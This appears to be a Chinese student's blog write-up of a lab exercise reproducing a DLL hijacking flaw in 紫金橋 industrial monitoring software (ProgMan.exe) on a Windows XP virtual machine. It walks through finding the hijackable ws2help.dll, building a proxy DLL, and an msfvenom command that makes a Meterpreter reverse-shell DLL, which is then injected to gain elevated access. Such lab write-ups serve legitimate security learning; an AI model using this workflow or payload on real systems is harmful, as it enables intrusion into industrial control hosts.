工控軟件DLL劫持漏洞復現

本文首發於個人我的博客,記錄了我在實驗室學習滲透測試所作的第一個漏洞復現,但願能對您有所幫助!
若是文章有錯,請前往個人我的博客覈對,或者在評論區留言告知,謝謝html

緊張刺激史無前例突如其來慘絕人寰的線上期末考試結束了,我也要開始作實驗室的工做了,這學期由於學姐在準備畢業,我也划水了很久,中間只作過一些小任務,那麼這個暑假就要把該還的賬還清了(忽然淚目)。linux

我在期末考試前和博士聯繫過了,說本身想要學習滲透測試方面的內容,那麼第一個任務就是復現DLL劫持。謹以此博,記念我考後生還(劃掉)的第一個小任務。git

啊啊啊啊正在作的時候那個新帶個人學長跟我說他也試了下,沒實現…沒事,我儘管作我本身的。github

基本概念

  1. DLL:動態連接庫。是Windows操做系統中實現二進制級共享函數庫的編程和運行環境。
  2. Windows平臺可執行文件執行過程:Windows平臺上當一個可執行文件運行時,加載器將可執行文件映射到進程的地址空間中,加載器分析文件的輸入表,查找出須要的DLL,並逐個將它們映射到進程的地址空間中,最後初始化並開始運行,在運行過程當中會調用加載到內存中的DLL所包含的功能函數。
  3. DLL劫持:因爲可執行文件的輸入表只提供了DLL的名稱,沒有其餘詳細信息,當查找的過程當中發生了冒名頂替時間,就發生了劫持。黑客能夠僞造接口相同功能不一樣的同名DLL,放在可執行文件運行優先查找的路徑上,就能冒名頂替使黑客目標功能的DLL被加載到內存並被調用執行。

復現步驟

1. 安裝Kali Linux虛擬機

Kali用得好,牢飯吃到飽...啊不是,工具無罪。shell

Kali以前安裝過,還在上面配置了Mulval(攻擊圖項目的第一個任務),因此此次也是輕車熟路,除了中間「選擇安裝軟件」多是由於網絡問題吧,失敗了兩次。編程

如何在VMWare上安裝Kali Linux 2020.2版本的虛擬機詳見該文windows

2. 安裝Windows XP SP3靶機

原本我想用我家那臺十年前的機器(前段時間升級了下內存和硬盤,還能用),但又怕搞壞了很差交代,因此仍是老老實實下虛擬機吧。安全

這個在官網沒找到資源,就隨便在其餘地方找了個資源,安全性沒法保證,湊活着用吧。網絡

具體安裝過程...傻瓜式操做應該不須要教程吧?tcp

界面提示我大概要二三十分鐘,實際過程沒那麼長,一局遊戲都沒打完呢...

3. 在XP上安裝須要的軟件

首先是紫金橋監控組態軟件 V6.5。我在xp上打不開這個網站,因此就在win10下下載後利用vmtools(xp系統搭建好後自動下載了vmtools,挺省心的)將該軟件複製了過來。

另外也要安裝Process Explorer

4. 尋找可劫持進程ProgMan.exe的DLL

開啓進程ProgMan.exe(即紫金橋監控組態軟件,在安裝目錄下能夠找到該執行文件),打開procexp。其實二者無關前後。在procexp下能夠看到ProgMan.exe進程,而後按照個人選項配置,能夠看到下面的窗口。
在這裏插入圖片描述
在這裏插入圖片描述

與註冊表相對比:

這說明咱們的ws2help.dll知足dll劫持的要求。

5. 生成源碼CPP文件和dll文件

首先要配置Python2.7環境,這個沒必要多說。安裝好後,pip下載所須要的包pefile,這個包沒多大,不必再換源了。下載好後,在Github上下載咱們須要的一個DLL_Hijacker.py文件,而後cd到該文件所在位置,在命令行中執行:

DLL_Hijacker.py c:\WINDOWS\system32\ws2help.dll

結果以下:
在這裏插入圖片描述

同時,在該目錄下,ws2help.cpp文件也已經生成了。

而後將ws2help.cpp編譯爲ws2help.dll。這一步須要用到VC++6.0,推薦直接在靶機中安裝(Win10不太兼容)。具體步驟以下:

  1. 在VC++ 6.0中新建一個Win32 Dynamic-Link Library工程,名稱任意。

  2. 建立一個簡單的DLL工程

  3. 將ws2help.cpp中的代碼複製到該工程Source File文件夾下的XXX.cpp(XXX爲工程名)文件中,注意加上如圖所示的頭文件。

  4. 若是剛開始就直接編譯ws2help.cpp,會報錯,解決方法是先編譯同目錄下的StdAfx.cpp文件,沒有錯誤後再編譯ws2help.cpp。編譯方法爲「組建-->編譯xxx.cpp」。
    在這裏插入圖片描述

  5. 編譯無誤後,點擊「組建-->組建xxx.dll」,正確完成後,能夠在工程目錄下的Debug文件夾下找到生成的dll文件。

以後,將該dll文件放入與progman.exe同一目錄下,再次打開ProgMan.exe,會有彈窗提示。
在這裏插入圖片描述

6. 利用msf基於dll劫持實現權限提高

進入kali,檢查msfvenom是否正常(在命令行中輸入msfvenom)。若正常,則在命令行鍵入:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本機IP> LPORT=1234 -f dll >/root/ws2help.dll

以後,會在root下生成咱們須要的ws2help.dll文件,將該文件拷貝到靶機(XP)下。這一步可能會比較麻煩,能夠將該文件放入壓縮包內,再進行復制粘貼。

在Kali命令行中輸入msfconsole開啓msf,利用msf中的handler模塊開啓監聽:

在靶機中開啓進程ProgMan.exe,利用Dllinject.exe,將ws2help.dll注入到進程。這裏好像對ws2help.dll和Dllinject.exe的位置也有要求,最開始我把它們倆同時放在ProgMan.exe所在目錄下,但Dllinject.exe沒法正常運行。以後我把ws2help.dll放在桌面,Dllinject.exe放在其餘目錄下,能夠正常運行了。
在這裏插入圖片描述

找到ProgMan進程,點擊注入,注入時要選擇ws2help.dll所在位置,其餘不用填。回到Kali,發現已經提權成功了。

實驗結束。

後記

本實驗對於剛剛接觸滲透測試的我來講,說難也不難,但也確實花了很長時間,主要就是在編譯cpp文件爲dll時出了問題。我一直在嘗試在命令行界面直接經過g++命令來進行編譯,但結果老是錯誤的。最終,在王博士的提示下,我用了VC++6.0來進行編譯。一開始也出了問題,由於VC++6.0版本過於古老,和Win10不兼容,不管我怎麼編譯,都會報錯。在網上查到了解決方法,但一一嘗試後,都沒有用。最後只得下載了Win7虛擬機,別問我爲何不直接在Win XP下下載,由於我一開始覺得XP也不兼容...嘛,反正都解決啦,無論那麼多啦!

這只是滲透測試之路的起點,就遇到了難啃的硬骨頭,之後會遇到多少麻煩可想而知,但我相信本身能夠堅持學下去,加油!

相關文章
相關標籤/搜索